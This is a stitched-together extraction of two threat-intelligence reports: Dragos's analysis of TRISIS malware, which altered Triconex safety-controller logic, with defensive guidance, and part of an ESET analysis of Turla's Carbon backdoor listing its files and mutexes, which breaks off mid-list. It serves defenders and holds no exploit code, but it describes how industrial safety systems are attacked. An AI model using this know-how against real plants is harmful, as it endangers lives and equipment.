+imply that there could be a risk to operational safety. Set points on the remainder of the process control
+system could be changed to conditions that would result in the process shifting to an unsafe condition.
+While TRISIS appears to be focused, ICS owners and operators should view this event as an expansion of
+ICS asset targeting to previously-untargeted SIS equipment. Although many aspects of TRISIS are unique
+for the environment and technology targeted, the general methodology provides an example for ICS defenders to utilize when future, subsequent SIS-targeted operations emerge.
+Safety controllers are designed to provide robust safety for critical processes. Typically, safety controllers
+are deployed to provide life-saving stopping logic. These may include mechanisms to stop rotating machinery when a dangerous condition is detected, or stop inflow or heating of gasses when a dangerous temperature, pressure, or other potentially life-threatening condition exists. Safety controllers operate independently of normal process control logic systems and are focused on detecting and preventing dangerous
+physical events. Safety controllers are most often connected to actuators which will make it impossible for
+normal process control systems to continue operating. This is by design since the normal process control
+system
+s continued operation would feed into the life-threatening situation that has been detected.
+Safety controllers are generally a type of programmable logic controller (PLC). They allow engineers to configure logic, typically in IEC-61131 logic. While on their face they are similar to PLCs, safety controllers have
+a higher standard of design, construction, and deployment. They are designed to be more accurate and
+less prone to failure. Both the hardware and the software for these controllers must be designed and built
+to the Safety Integrity Level (SIL) blanket of standards (IEC-61508). This includes the use of error correcting
+memories and redundant components and design that favors failing an operation safety over continuing
+operations. Each SIS is deployed for specific process requirements after a process hazard analysis (PHA)
+identifies the needs for a specific industrial environment. In this way, the systems are unique in their implementation even when the vendor technology remains the same.
+Safety controller components have more flexibility than a typical PLC. A safety controller
+s output cards will
+usually have a firmware, and a configuration, which allows the output card to fail into a safe state should
+the main processors fail entirely. This may even include failing outputs to a known-safe state in the event
+that the safety controller loses power.
+Many safety controllers offer redundancy, in the form of redundant processor modules. In the case of the
+Triconex system, the controller utilizes three separate processor modules. The modules all run the same
+logic, and each module is given a vote on the output of its logic function blocks on each cycle. If one of the
+modules offers a different set of outputs from the other two, that module is considered faulted and is automatically removed from service. This prevents a module that is experiencing an issue such as an internal
+transient or bit-flip from causing an improper safety decision.
+TLP: WHITE information may be distributed without restriction
+Safety controller architecture has been debated in the industry. Many end users opt to use the same control LAN for both systems. LOGIIC (Linking the Oil and Gas Industry to Improve Cybersecurity) has identified1 three distinct integration strategies of SIS with control systems networks. In the case of attacks such
+as TRISIS, these architectures can be reduced to two, as the security implications of two identified architectures remain the same. End users decide the level of risk that they are willing to accept with their safety
+system, and use this to determine how tightly they couple their safety system with their DCS (Distributed
+Control System). A tightly-coupled architecture, shown in figure 1, can provide cost savings, since data from
+an SIS controller may be incorporated into general operator HMI systems. In addition, network wiring and
+support is shared between the systems. Sensors data may also be shared, in both directions, between the
+normal process controllers and the SIS controllers. However, a downside to such an architecture is that
+attacker who gains access to the Control LAN systems may attack the SIS directly.
+Figure 1: Typical (Insecure) SIS integration
+DMZ LAN
+Historian/
+Data Replication
+RDP Jump Box/
+Remote Station
+Patch Management
+RDP Jump Box/
+Remote Station
+Domain Controller
+L3 Process LAN
+Historian
+OPC Server
+DCS HMI/
+DCS EWS/
+Operator Terminal Engineering Station
+DCS EWS/
+Remote Station
+DCS OPC/
+Application Server
+SIS EWS/
+Safety Eng Station
+L2 Process LAN
+DCS Controller
+SIS Controller
+Actuators & Sensors
+Actuators & Sensors
+Cyber Security Implications of SIS Integration with Control Networks
+https://www.automationfederation.org/filestore/af/logiic/LOGIIC%20SIS%20REPORT%20for%20ISA%20August%2025%20
+2011%20mod%20jan%202013.pdf
+TLP: WHITE information may be distributed without restriction
+This architecture can be especially dangerous when combined with engineering remote access. A common
+practice at many sites is to allow access to the process control network to engineers via the Remote Desktop Protocol. The engineer will most frequently use their corporate workstation to access an RDP jump box
+inside of the process control DMZ. From there, the engineering may RDP to either the L3 or L2 process LAN.
+Compromise of this process, either through an infected corporate workstation or theft of the engineer
+credentials, can give an attacker access to the L2 engineering systems. In the case of a tightly integrated
+DCS and SIS, the attacker then has access to all services of the SIS, including the programming service. The
+attacker may also be able to gain access to the SIS Engineering Station and gain a better understanding of
+how the SIS is programmed.
+Figure 2: Architecture with application-layer 
+Read-Only
+ firewall between L2 and SIS LAN
+DMZ LAN
+Historian/
+Data Replication
+RDP Jump Box/
+Remote Station
+Patch Management
+RDP Jump Box/
+Remote Station
+Domain Controller
+L3 Process LAN
+Historian
+OPC Server
+DCS HMI/
+DCS EWS/
+Operator Terminal Engineering Station
+DCS EWS/
+Remote Station
+DCS OPC/
+Application Server
+SIS EWS/
+Safety Eng Station
+L2 Process LAN
+DCS Controller
+SIS Controller
+Actuators & Sensors
+Actuators & Sensors
+TLP: WHITE information may be distributed without restriction
+Alternate architectures have been suggested. Many security-conscious asset owners will instrument their
+SIS Controller with a 
+read-only
+ application-layer firewall as shown in figure 2. These firewalls typically support protocols such as Modbus/TCP or OPC and are specifically designed to prevent the assertion of safety
+outputs from the process LAN. These firewalls will also prevent access to the proprietary configuration
+services of the SIS, closing that avenue of attack. Placing both the SIS Engineering Workstation (EWS) and
+SIS Controllers on the secure side of this firewall will prevent easy access to the SIS programming protocols. In this architecture, an attacker who gains access to the L2 LAN will not be able to impact the safety
+system, unless the attacker also identifies a weakness in the firewall protecting the SIS from the rest of the
+L2 Process LAN. A downside of this architecture is that an engineer will need to physically access the SIS
+workstation to make changes to the safety programming. However, SIS programming changes should be
+much less frequent than normal DCS updates.
+Other methods use data diodes or completely separate safety networks which provide data to the DCS via
+a DC Controller add-on card. These mechanisms further increase security, although in the case of a completely separate safety network, prevent end users from using potentially valuable safety sensor data for
+ordinary process control.
+A potential attack on SIS can have multiple implications. Two that immediately come to mind and represent
+most-likely targets include the following scenarios:
+Attack Scenario #1: Plant Shutdown
+The most likely and operationally easy impact scenario from SIS manipulation or attack is a plant shutdown 
+ and not necessarily due to follow-on physical damage as the result of SIS alteration. There are two
+general methods of achieving an operational 
+mission kill
+ without physically impacting any element of the
+target environment:
+1. Create operational uncertainty. By altering an SIS where some noticeable effect is produced, even
+if only recognizing a configuration change or tripping a safety fault where no corresponding physical condition is observed, doubt is introduced into operations as to safety system accuracy and
+reliability. While the problem is investigated and troubleshooting takes place, operations will likely be significantly reduced if not outright stopped.
+2. Trip safety 
+fail-safes
+ to halt operations. Changing underlying logic to enter safety-preserving
+conditions during normal operations can trip SIS-managed equipment to enter 
+fail-safe
+ modes
+when such conditions are not actually present. This will lead to a likely halt or stop to the affected
+process, and likely bring about a much longer shutdown as this scenario rapidly transitions to the
+item outlined in no. 1 above due to extensive troubleshooting.
+Some level of general and plant-specific knowledge is required in order to execute this attack, but the level
+of knowledge is not as extensive as more fine-toothed, subtle changes to SIS configuration. Simply introducing any noticeable change in the system 
+ which may, through unintended follow-on effects, result in
+a much more serious issue 
+ results at least in case #1. A slightly more refined approach focusing on specific logic and devices managed can be used to create case #2. Alternatively, an adversary can attempt to
+leverage insecure authentication to pull existing configuration information from the SIS and simply reverse
+values to cause safety faults where none exist.
+TLP: WHITE information may be distributed without restriction
+Attack Scenario #2: Unsafe Physical State
+Likely the most obvious and assumed attack scenario is creating an unsafe physical condition within the
+target environment resulting in physical damage to the environment. While this may be the most obvious
+conceptual attack, the requirements for actually executing make this scenario significantly more difficult 
+and thus less likely in reality 
+ than scenario #1.
+Ensuring an SIS alteration results in physical damage or destruction requires knowledge of the underlying
+physical processes and controls managed by the targeted SIS. More specifically, knowledge of specific process points where removing a logical fail-safe at the SIS will result in an uncontrolled, damaging physical
+state 
+ with no complementary physical safety fail-safe in place to prevent damage. The amount of knowledge required specific to the SIS and process installation targeted is significant, and likely not possible to
+obtain through purely network espionage means. If even possible, the amount of time, effort, and resources required to: obtain necessary environment information; develop and design software tailored to the
+target environment; and finally, to maintain access and avoid detection throughout these steps all require
+a lengthy, highly skilled intrusion.
+While the above is certainly not impossible 
+ in many ways, it is analogous to the efforts required to launch
+CRASHOVERRIDE 
+ the combined requirements make this a less-likely scenario attainable only by highly-skilled, well-resourced adversaries with lengthy timelines. Typical operations safety layering, where SIS
+forms only part (albeit a large one) in overall safety management, should work to mitigate the worst-case
+damage a destruction scenario in most instances.
+SIS Defense Status
+TLP: WHITE information may be distributed without restriction
+In theory, SIS equipment is isolated from other operations within the ICS environment, and network connectivity is either extremely limited or non-existent. In practice, operational and convenience concerns often result in more connectivity with other ICS devices than ideal, or that ICS operators may even be aware
+of. An operator may choose to connect a safety controller to their wider plant network in order to retrieve
+data from the controller to facilitate business intelligence and process control information gathering. This
+carries the risk that the safety controller may be affected by malicious network activity, or accessible to an
+intruder that has penetrated the ICS network.
+Safety controllers generally have the same security profile as a standard PLC. Controller projects offer
+password protection; however, projects typically contain two backdoor accounts by default that the user
+has no control over. While suboptimal from a security perspective, such accounts are vital to ensure administrator-level access and control over the device in an emergency situation. A reverse engineer with
+moderate skill may uncover these accounts and use them to gain unauthorized access to the project and
+to the safety controller.
+While common to many SIS devices, the newer versions of Schneider Electric
+s Triconex units are not susceptible to this attack. The older controller (which was deployed at the victim site) is protected by following
+the deployment recommendations, listed below, to prevent arbitrary changes in SIS functionality via a
+physical control. Newer model controllers removed the backdoor accounts entirely and added X.509 mutual authentication to the controllers.
+Examining SIS devices generally, backdoor accounts cannot typically be disabled due to the operational
+need for the reasons outlined above. SIS network isolation is critical in preventing abuse of this feature in
+vulnerable devices it is appropriate to monitor connections to such systems more so than blocking activity
+without an understanding of the impact.
+TRISIS Capabilities
+TRISIS is a Stage 2 ICS Attack capability, as defined by the ICS Cyber Kill Chain as shown in figure 3. Given its
+design and assessed use, TRISIS has no role or applicability to IT environments and is a focused ICS effects
+tool. As a result, TRISIS
+ use and deployment requires that an adversary has already achieved success in
+Stage 1 of the ICS Cyber Kill Chain and either compromised the business IT network or has identified an
+alternative means of accessing the ICS network. Once in position, the adversary can deploy TRISIS on its
+target: an SIS device.
+TLP: WHITE information may be distributed without restriction
+Figure 3: ICS Cyber Kill-Chain
+Reconnaissance
+Weaponization
+STAGE
+Delivery
+STAGE
+Exploit
+STAGE
+Install / Modify
+STAGE
+STAGE
+STAGE
+STAGE
+Develop
+STAGE
+Test
+STAGE
+Deliver
+STAGE
+Install / Modify
+STAGE
+Targeting
+STAGE 1
+STAGE 2
+STAGE
+Execute ICS Attack
+STAGE
+TLP: WHITE information may be distributed without restriction
+TRISIS is a compiled Python script using the publicly-available 
+py2exe
+ compiler. This allows TRISIS to execute in an environment without Python installed natively, which would be the case in most ICS environments and especially in SIS equipment. The script aims to change the underlying logic on a target SIS 
+this case, a Schneider Electric Triconex device. Subsequent code analysis indicated the script is designed
+to target Triconex 3008 processor modules specifically. The executable takes its target as a command-line
+argument passed to it on execution. The implications of this are specifically in targeting at run-time, unless
+called through an additional script, and based on a review of the code, limiting TRISIS to impacting a single
+target per execution.
+The core logic alteration functionality works through a combination of four binaries that are uploaded to
+the target SIS:
+Two embedded binary payloads within the compiled Python script.
+Two additional, external binaries that are specifically referenced by name within the script but
+located in separate files.
+Dragos analysis indicates that the embedded items are used to prepare and load the external modules,
+which contain the replacement logic. As part of a general attack flow, an adversary would need to take the
+following steps to deploy and execute TRISIS as shown in figure 4 on the next page.
+TLP: WHITE information may be distributed without restriction
+Completion of Stage 1 of the ICS Cyber Kill Chain:
+Identify and gain access to a system able to communicate with target SIS.
+Figure 4: TRISIS Attack Flow
+Stage 1 of the ICS Cyber Kill Chain Completed
+Stage 2 Develop:
+Identify target SIS type and develop TRISIS with replacement logic and loader
+Stage 2 Test:
+TRISIS
+Ensure TRISIS works as intended, likely off network in
+the adversary environment
+Stage 2 Deliver:
+Step 1: Verify Communications to SIS
+Transfer TRISIS to the SIS which contains the 
+loader
+module for the new logic and support binaries that
+provide the new logic
+Stage 2 Install/Modify:
+Upon running the TRISIS executable, disguised as
+Triconex software for analyzing SIS logs, the malicious software utilizes the embedded binary files to
+identify the appropriate location in memory on the
+controller for logic replacement and uploads the 
+initializing code
+ (4-byte sequence)
+Step 2: Identify Memory Location for
+Step 1: VerifyLogic
+Communications
+to SIS
+Upload
+Step 3: Copy 
+Start Code
+ for Logic
+Step 1: Verify Communications to SIS
+Replacement and Verify
+Stage 2 Execute ICS Attack:
+TRISIS verifies the success of the previous step and
+then uploads new ladder logic to SIS
+Step 4:
+1: Upload
+Verify Communications
+New Ladder Logic
+to to
+SISSIS
+TLP: WHITE information may be distributed without restriction
+Based on the description above, TRISIS itself represents a facilitating capability or framework for the actual
+ladder logic change that has the potential, as outlined in the scenarios above, to alter the environment. As
+such, TRISIS itself could be repurposed to deliver alternative payloads to either deliver different logic files
+(the external binaries uploaded by TRISIS to the target SIS) or to utilize differently embedded binaries to
+target different SIS types entirely. While both are quite plausible, the work involved would be significant
+and represents the largest amount of effort and required resources for TRISIS efficacy: ensuring that the
+embedded binaries identify the correct portion of SIS memory for replacement ladder logic upload, and
+then developing appropriate ladder logic for the target system. Neither of these is trivial, and make scaling
+or spreading this attack to other environments 
+ and potentially the same Triconex devices but in different
+installations 
+ extremely difficult.
+Dragos was not provided with the external binaries used in the TRISIS attack, and we are therefore unable
+to determine what precise impact would result on the victim SIS. Nonetheless, any modification to SIS in
+an operational environment represents a significant risk and potential for damage or even loss of life. The
+precise attack path is also unknown at this time, but based upon available information and functionality of
+TRISIS, the target SIS must be network accessible from a device the adversary was able to compromise and
+establish reasonably persistent command and control over. As a result, TRISIS activity 
+ from initial installation through periodic control followed by ultimate payload delivery 
+ represents multiple steps across
+Stages 1 and 2 of the ICS Cyber Kill Chain.
+While TRISIS as a Python program allows for some level of flexibility in that different modules could be referenced or included to provide different effects, as an attack vector such alterations are difficult to execute
+in practice for the reasons outlined above. As such, TRISIS is a very focused, target-specific malware that
+would not be capable of delivering equivalent effects in another environment without significant modification.
+An additional point to emphasize is that no real vulnerability or exploit is utilized by TRISIS. Rather, TRISIS
+functionality depends upon understanding how Triconex SIS devices function and specifics about the process environment. With a full understanding of these items, the adversary then must design and deploy
+ladder logic to create the desired impact on the target SIS.
+TLP: WHITE information may be distributed without restriction
+Implications
+TRISIS represents, in several ways, 
+game-changing
+ impact for the defense of ICS networks. While previously identified in theoretical attack scenarios, targeting SIS equipment specifically represents a dangerous evolution within ICS computer network attacks. Potential impacts include equipment damage, system
+downtime, and potentially loss of life. Given these implications, it is important to ensure nuance in how the
+industry responds and communicates about this attack.
+First, adversaries are becoming bolder, and an attack on an SIS is a considerable step forward in causing
+harm. This requires the industry to continue its focus on reliability and safety by pursuing appropriate and
+measured steps towards securing industrial processes. Information technology security best practices are
+not necessarily appropriate to such situations and an ICS, and a mission-focused approach must be taken
+into consideration of secondary effects.
+Second, the attack of an SIS cannot be taken lightly but should not be met with hype and fear. Eventually,
+information about this attack will leak to the media and public community. At that point, those in the industrial security community can have a nuanced conversation noting that this attack is not a highly scalable
+attack that has immediate repercussions to the community. Or simply stated, the public nor government
+should invoke fear. The industrial asset owner, operator, and vendor community have had a significant
+dedication to safety and reliability, and now it is obvious that the community is taking steps forward in security. Dragos cautions the community not to use this attack to further other causes as the impact of hype
+can be far-reaching and crippling. TRISIS is a learning moment to push for more security but in a proper
+and measured way.
+Third, this attack does have implications for all industrial asset owners and operators that leverage SIS. The
+fact that Schneider Electric
+s Triconex was targeted should have no bearing on how defenders respond to
+this case. This was a clear attack on the community. There can be no victim blaming or product shaming
+that is reasonable nor will it make the community better. The implication is that adversaries are targeting
+SIS and defenders must live in this reality presented adapting as appropriate to ensure safety and reliability
+of the operations our society depend upon.
+TLP: WHITE information may be distributed without restriction
+Defending Against TRISIS
+SIS system implementation should begin with relevant vendor recommendations. The recommendations
+surrounding methods on network isolation are especially critical to preserving SIS autonomy. In the case of
+TRISIS, Schneider Electric has provided the following recommendations for Triconex Controllers
+Safety systems should always be deployed on isolated networks.
+Physical controls should be in place so that no unauthorized person would have access to the
+safety controllers, peripheral safety equipment, or the safety network.
+All controllers should reside in locked cabinets and never be left in the 
+Program
+ mode.
+All Tristation terminals (Triconex programming software) should be kept in locked cabinets and
+should never be connected to any network other than the safety network.
+All methods of mobile data exchange with the isolated safety network such as CDs, USB drives,
+etc. should be scanned before use in the Tristation terminals or any node connected to this network.
+Laptops that have connected to any other network besides the safety network should never be
+allowed to connect to the safety network without proper sanitation. Proper sanitation includes
+checking for changes to the system not simply running anti-virus software against it (in the case
+of TRISIS no major anti-virus vendor detected it at the time of its use).
+Operator stations should be configured to display an alarm whenever the Tricon key switch is in
+the 
+Program Mode.
+It is important to understand that TRISIS represents only the second stage of the ICS Cyber Kill Chain. This
+report does not infer or suggest what stage 1 of the attack may be and instead focuses on what has been
+confirmed through capability analysis. This puts defenders in the position of not stopping activities prior
+to impact but during or after the SIS impact. Keep in mind there is a wide range of defenses to detect and
+stop the attacker prior to exposing human safety and equipment during stage 1 and earlier stage 2 phases.
+TLP: WHITE information may be distributed without restriction
+Stage 2 ICS Attack: Delivery
+TRISIS requires being executed from a host that can directly communicate with the SIS controller(s). In
+figure 1 cited above any host on L2: Process LAN can serve this purpose. This allows more options for the
+attacker and greater scope of what needs to be defended. Delivery of TRISIS to any one of these hosts may
+be accomplished through network transfer or USB/media transfer.
+Strong architecture can deter, delay or detect adversarial actions as they deliver TRISIS from another network to a host that can communicate to the SIS environment. This is traditional network
+concepts of segmentation through firewalls, dual factor authentication of interactive access, etc.
+Once architectural foundations are in place, both active and passive defenses are needed. Automated log collection, passive network collection provides the basis of information needed for
+forensic analysis after an event while strong tailoring of firewalls may limit/prevent delivery or
+minimally serve as a triggering event for defenses to investigate and respond.
+Stage 2 ICS Attack: Install/Modification
+Once TRISIS resides on a host that has direct access, it is now in a dormant state until either the attacker
+or unwitting user executes the binary. Once the TRISIS package is on the host, there are several options for
+the defenders to stop or detect it proactively.
+If the network architecture were already revised to limit what hosts can communicate to the SIS,
+then the number of hosts that can successfully run TRISIS against SIS has already been reduced.
+Again, this limits the attacker
+s options while allowing more focused security controls. Strong
+mechanisms to limit removable media can be considered- both technical (USB whitelisting or outright disabling of USB ports) or administrative (enforcing scanning of a USB drive prior to usage
+in production equipment) are valuable. Strong filesystem permissions or execution whitelisting
+technology become much easier to implement for engineering workstations or hosts that have
+access to communicate with SIS.
+Reliance on traditional signature-based detection (antivirus) is not sufficient. At the time of discovery, TRISIS was undetected by all antivirus engines. Instead, a more proactive approach is
+required. For instance, Worldview customers were provided Yara signatures to identify TRISIS.
+Those signatures also detect any binary compiled with py2exe as any such tool within an ICS or
+SIS environment is an outlier and immediately suspect.
+Additional proactive baselining can also occur. Hosts such as engineering workstations are often
+not well managed. They generally are not part of Active Directory and have the option of running
+a wide range of agents. However, baselining of known files, applications, services, USB insertions,
+and user accounts can find deviations that could detect TRISIS files on the system. This can offer
+assurances of the limited number of hosts that can communicate to the SIS.
+TLP: WHITE information may be distributed without restriction
+Stage 2 ICS Attack: Execute
+The execution of the TRISIS attack can be broken down into two components: the launch of the process on
+the host and the network communications from the compromised host to the SIS controller(s).
+Architecturally limiting the TRISIS executable to run on the host via execution and/or hampering its ability
+to communicate to the controllers via windows host firewall would stop any impact.
+Additionally, proactive detection 
+ such as identifying when a host is communicating with an SIS controller
+can serve as an alarm. Even with strong architectures, misconfigurations occur that may allow a host that
+shouldn
+t have access to an SIS to communicate to it. Such alarms, even if they fail to stop an attack, are
+vital to understanding and isolating the cause of the attack.
+SIS environments can be some of the most defensible systems. They are largely simplistic and static- usually the most static of any ICS environment. However, good architecture, passive defenses, and active defenses are key to understand when an attack is in progress and how to repel when the attackers use novel
+techniques. There is no such thing as an undetectable or unpreventable cyber attack, and as defenders, it
+should be a priority to secure and monitor the safety systems responsible for protecting human life, the
+environment, and the physical processes.
+Dragos applies expert human intelligence and behavioral analytics to redefne industrial control system (ICS) cybersecurity. Its industry-first, ICS/OT cybersecurity ecosystem provides control systems operators with unprecedented
+situational awareness over their environments, with comprehensive threat intelligence, detection, and response
+capabilities. Dragos
+ solutions include the Dragos Platform, providing ICS/OT-specifc threat detection and response;
+Dragos Threat Operations Center, providing ICS compromise assessment, threat hunting, and incident response
+services; and Dragos WorldView, providing global, ICS-specifc threat intelligence. Headquartered in metropolitan
+Washington DC, Dragos
+ team of ICS cybersecurity experts are practitioners who
+ve lived the problems the industry
+faces hailing from across the U.S. Intelligence Community to private sector industrial companies.
+TLP: WHITE information may be distributed without restriction
+Who Did It?
+Achieving a level of confidence on attribution is not as difficult as often positioned. However, achieving a
+high confidence of attribution can be incredibly difficult without access to a significant set of data or a long
+period of historical analysis across numerous intrusions into victim environments. Infrastructure attacks
+are often geopolitically sensitive topics that can carry real considerations between states. In addition, there
+is little to no value in true attribution (state, agency, or operator identity) to defense teams. In many cases,
+attribution can actually negatively affect defense teams. Due to the lack of value to defenders and the ramifications of incorrect attribution Dragos does not comment publicly on attribution.
+Is TRISIS a Big Deal?
+TRISIS is the fifth ever publicly known ICS-tailored malware following STUXNET, HAVEX, BLACKENERGY2,
+and CRASHOVERRIDE. It is the first ever publicly known ICS-tailored malware to target safety instrumented
+systems. For these reasons, it is of significant importance to the ICS community, and it should be analyzed
+fully to capture lessons learned. The malware is not capable of scalable and long-term disruptions or destruction nor should there be any hype about the ability to leverage this malware all around the community. Attacks on an industrial process that are as specific in nature as TRISIS are considerably difficult to
+repurpose against other sites although the tradecraft does reveal a blueprint to adversaries to replicate the
+effort. However, because SIS are specifically designed and deployed to ensure the safety of the process, environment, and human life an assault on one of these systems is bold and unsettling. While fear and hype
+are not appropriate in this situation, this is absolutely an escalation in the types of attacks we see against
+ICS and should not be taken lightly.
+Could This Attack Lead to Loss of Life?
+Yes. BUT, not easily nor likely directly. Just because a safety system
+s security is compromised does not
+mean it
+s safety function is. A system can still fail-safe, and it has performed its function. However, TRISIS
+has the capability to change the logic on the final control element and thus could reasonably be leveraged
+to change set points that would be required for keeping the process in a safe condition. TRISIS would likely
+not directly lead to an unsafe condition but through its modifying of a system could deny the intended
+safety functionality when it is needed. Dragos has no intelligence to support any such event occurred in the
+victim environment to compromise safety when it was needed.
+What are the Indicators of Compromise?
+Dragos supplied Yara rules to our ICS WorldView customers to help defenders scope their environments
+for this or similar malware. However, indicators of compromise (IOCs) are not appropriate in most cases
+for industrial threats and capabilities. Technical data is often not similar in adversary capabilities between
+victims. Defenders should instead focus on defense recommendations and the adversary tradecraft and
+techniques.
+TLP: WHITE information may be distributed without restriction
+I Do Not Use Triconex Should I Care About TRISIS?
+Vendors targeted in specific malware implementations such as Schneider Electric with TRISIS are victims.
+The malware was not designed because Triconex was a good choice for this attack; the malware would
+have been designed because the intended victim was using Triconex. If the victim was leveraging a different type of SIS, it is reasonable to conclude the malware would have targeted a different vendor. Therefore,
+defenders should instead focus on monitoring their environments and being aware of how they have SIS
+configured if it
+s deployed according to best practices, and the ability to respond if there was an issue detected with the SIS. The Triconex connection is specific to this malware, but the lessons learned apply to
+anyone using safety systems.
+What Questions Should Executives Ask?
+Executives should ask, and thus their security teams should anticipate these questions, questions such as:
+Do we have an SIS and if so where and what type(s)? If we needed to collect data from the environment or
+validate the system has not been modified could we? If the SIS is disrupted is there a cybersecurity component to the processes in place to determine root cause analysis and if an attack has occurred? Do we have
+an incident response plan that factors in the loss of the SIS even if it does not immediately lead to an unsafe
+situation? Is our SIS properly segmented off of the network and if not what monitoring do we have in place
+to ensure it is not impacted?
+I Want to Speak on or Write About Safety Instrumented System Security What Should I Know?
+Please ensure you talk to a certified safety engineer. The security of SIS is important, but safety engineering
+is a very specific skillset. What seems feasible and nuanced from security professionals may not fully represent the reality of the situation. I.e., please avoid sensationalist writing on the subject by including both
+security and an engineering input. There have been presentations and topics at information security conferences on safety systems before that impress generalist audiences but are known to the community to
+be inaccurate or simplistic; fantastic research but not holistic in how it is often implemented or discussed.
+What that translates into is the 
+what is possible in a given scenario
+ should have an expert on the threat
+and an expert on the SIS speaking.
+Contact Information
+1745 Dorsey Road
+Hanover, MD 21076 USA
+dragos.com | info@dragos.com
+Carbon Paper: Peering into Turla
+s second stage backdoor
+www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
+By ESET Research posted 30 Mar 2017 - 02:00PM
+March 30, 2017
+The Turla espionage group has been targeting various institutions for many years. Recently,
+we found several new versions of Carbon, a second stage backdoor in the Turla group arsenal.
+Last year, a technical analysis of this component was made by Swiss GovCERT.ch as part of
+their report detailing the attack that a defense firm owned by the Swiss government, RUAG,
+suffered in the past.
+This blog post highlights the technical innovations that we found in the latest versions of
+Carbon we have discovered.
+Looking at the different versions numbers of Carbon we have, it is clear that it is still under
+active development. Through the internal versions embedded in the code, we see the new
+versions are pushed out regularly. The group is also known to change its tools once they are
+exposed. As such, we have seen that between two major versions, mutexes and file names
+are being changed.
+Infection vectors
+The Turla group is known to be painstaking and work in stages, first doing reconnaissance on
+their victims
+ systems before deploying their most sophisticated tools such as Carbon.
+1/25
+A classic Carbon compromise chain starts with a user receiving a spearphishing email or
+visiting a previously compromised website, typically one that the user visits regularly 
+technique known as a watering hole attack.
+After a successful attack, a first stage backdoor 
+ such as Tavdig or Skipper 
+ is installed on
+the user machine. Once the reconnaissance phase is over, a second stage backdoor, like
+Carbon, is installed on key systems.
+Technical analysis
+Carbon is a sophisticated backdoor used to steal sensitive information from targets of interest
+by the Turla group.
+This malware shares some similarities with 
+Uroburos
+ , a rootkit used by the same group. The
+most relevant resemblance is the communication framework. Indeed, both of them provide
+communication channels between different malware components. The communication objects
+are implemented in the same way, the structures and vtables look identical except that there
+are fewer communication channels provided in Carbon. Indeed, Carbon might be a 
+lite
+version of Uroburos (without kernel components and without exploits).
+For Turla group to decide to install Carbon on a system, a (stage 1) recognition tool is usually
+delivered first to the target: this tool collects several pieces of information about the victim
+machine and its network (through Tavdig or Skipper for example). If the target is considered
+interesting enough, it will receive more sophisticated malware (such as Carbon or Uroburos).
+Global architecture
+The Carbon framework consists of:
+a dropper that installs the carbon components and its configuration file
+a component that communicates with the C&C
+an orchestrator that handles the tasks, dispatches them to other computers on the
+network and injects into a legitimate process the DLL that communicates with the C&C
+a loader that executes the orchestrator
+Carbon Dating
+The orchestrator and the injected library have their own development branch.
+Thanks to the compilation dates and the internal versions numbers hardcoded in the PE files,
+we might have the following timeline:
+2/25
+Table 1 
+ Carbon development timeline
+Carbon files
+The files from the Carbon framework can have different names depending on the version but
+they all keep the same internal name (from the metadata) regardless of the version:
+the dropper: 
+SERVICE.EXE
+the loader: 
+SERVICE.DLL
+ or 
+KmSvc.DLL
+the orchestrator: 
+MSIMGHLP.DLL
+the injected library: 
+MSXIML.DLL
+Each of these files exist in 32bit and in 64bit versions.
+Working directory
+Several files are created by Carbon to keep logs, tasks to execute and configuration that will
+modify the malware
+s behavior. The contents of the majority of these files are encrypted with
+the CAST-128 algorithm .
+A base working directory will contain the files/folders related to Carbon. This directory is
+chosen randomly among the folders in %ProgramFiles% but excluding 
+WindowsApps
+The filenames are hardcoded in the orchestrator. The same names are used in the 3.7x+
+branch. Because the injected library accesses the same files as the orchestrator, it is another
+easy way to link a library version and an orchestrator.
+Carbon 3.7x files tree view:
+3/25
+<span style="font-family: 'courier new', courier, monospace;" ><code data-lang="console"><span
+class="tok-go">\%carbon_working_folder\% // base folder</span>
+<span class="tok-go">
+ 0208 // tasks results and logs files</span>
+<span class="tok-go">
+ C_56743.NLS // contains list of files to send to the C&amp;C server,
+this file is neither compressed nor encrypted</span>
+<span class="tok-go">
+ asmcerts.rs</span>
+<span class="tok-go">
+ getcerts.rs</span>
+<span class="tok-go">
+ miniport.dat // configuration file</span>
+<span class="tok-go">
+ msximl.dll
+<span class="tok-go">
+ Nls // contains tasks (commands to be executed or PE file) and their
+configuration files</span>
+// injected library (x32)</span>
+<span class="tok-go">
+ a67ncodc.ax // tasks to be executed by the orchestrator</span>
+<span class="tok-go">
+ b9s3coff.ax // tasks to be executed by the injected library</span>
+<span class="tok-go">
+ System // plugins folder</span>
+<span class="tok-go">
+ bootmisc.sdi // not used</span>
+<span class="tok-go">
+ qavscr.dat
+// error log</span>
+<span class="tok-go">
+ vndkrmn.dic // log</span>
+<span class="tok-go">
+ ximarsh.dll // injected library (x64)</span></code></span>
+Since version 3.80, all filenames have changed.
+Carbon 3.8x files tree view:
+4/25
+<span style="font-family: 'courier new', courier, monospace;" ><code data-lang="console"><span
+class="tok-go">\carbon_working_folder\% // base folder</span>
+<span class="tok-go">
+ 0409 // contains tasks (commands to be executed or PE file) and their
+configuration files</span>
+<span class="tok-go">
+ cifrado.xml
+<span class="tok-go">
+ encodebase.inf // tasks to be executed by the orchestrator</span>
+<span class="tok-go">
+ 1033 // tasks results and logs files</span>
+<span class="tok-go">
+ dsntype.gif // contains list of files to send to the C&amp;C server, this
+file is neither compressed nor encrypted</span>
+// tasks to be executed by the injected library</span>
+<span class="tok-go">
+ en-US // plugins folder</span>
+<span class="tok-go">
+ asmlang.jpg // not used</span>
+<span class="tok-go">
+ fsbootfail.dat // error log</span>
+<span class="tok-go">
+ mkfieldsec.dll // injected library (x32)</span>
+<span class="tok-go">
+ preinsta.jpg
+// log</span>
+<span class="tok-go">
+ wkstrend.xml
+// configuration file</span>
+<span class="tok-go">
+ xmlrts.png</span>
+<span class="tok-go">
+ zcerterror.png</span></code></span>
+File access
+In the case of the majority of the files from the Carbon working folder, when one is accessed
+by the malware, the following steps are taken:
+a specific mutex is used to ensure its exclusive access.
+the file is decrypted (CAST-128)
+when the operations on the file are done, the file is reencrypted (CAST-128)
+the mutex is released
+Mutexes
+The following mutexes are created by the orchestrator in Carbon 3.7x:
+Global\\MSCTF.Shared.MUTEX.ZRX
+ (used to ensure exclusive access to
+vndkrmn.dic
+Global\\DBWindowsBase
+ (used to ensure exclusive access to 
+C_56743.NLS
+Global\\IEFrame.LockDefaultBrowser
+ (used to ensure exclusive access to
+b9s3coss.ax
+Global\\WinSta0_DesktopSessionMut
+ (used to ensure exclusive access to
+a67ncodc.ax
+Global\{5FA3BC02-920F-D42A-68BC-04F2A75BE158}
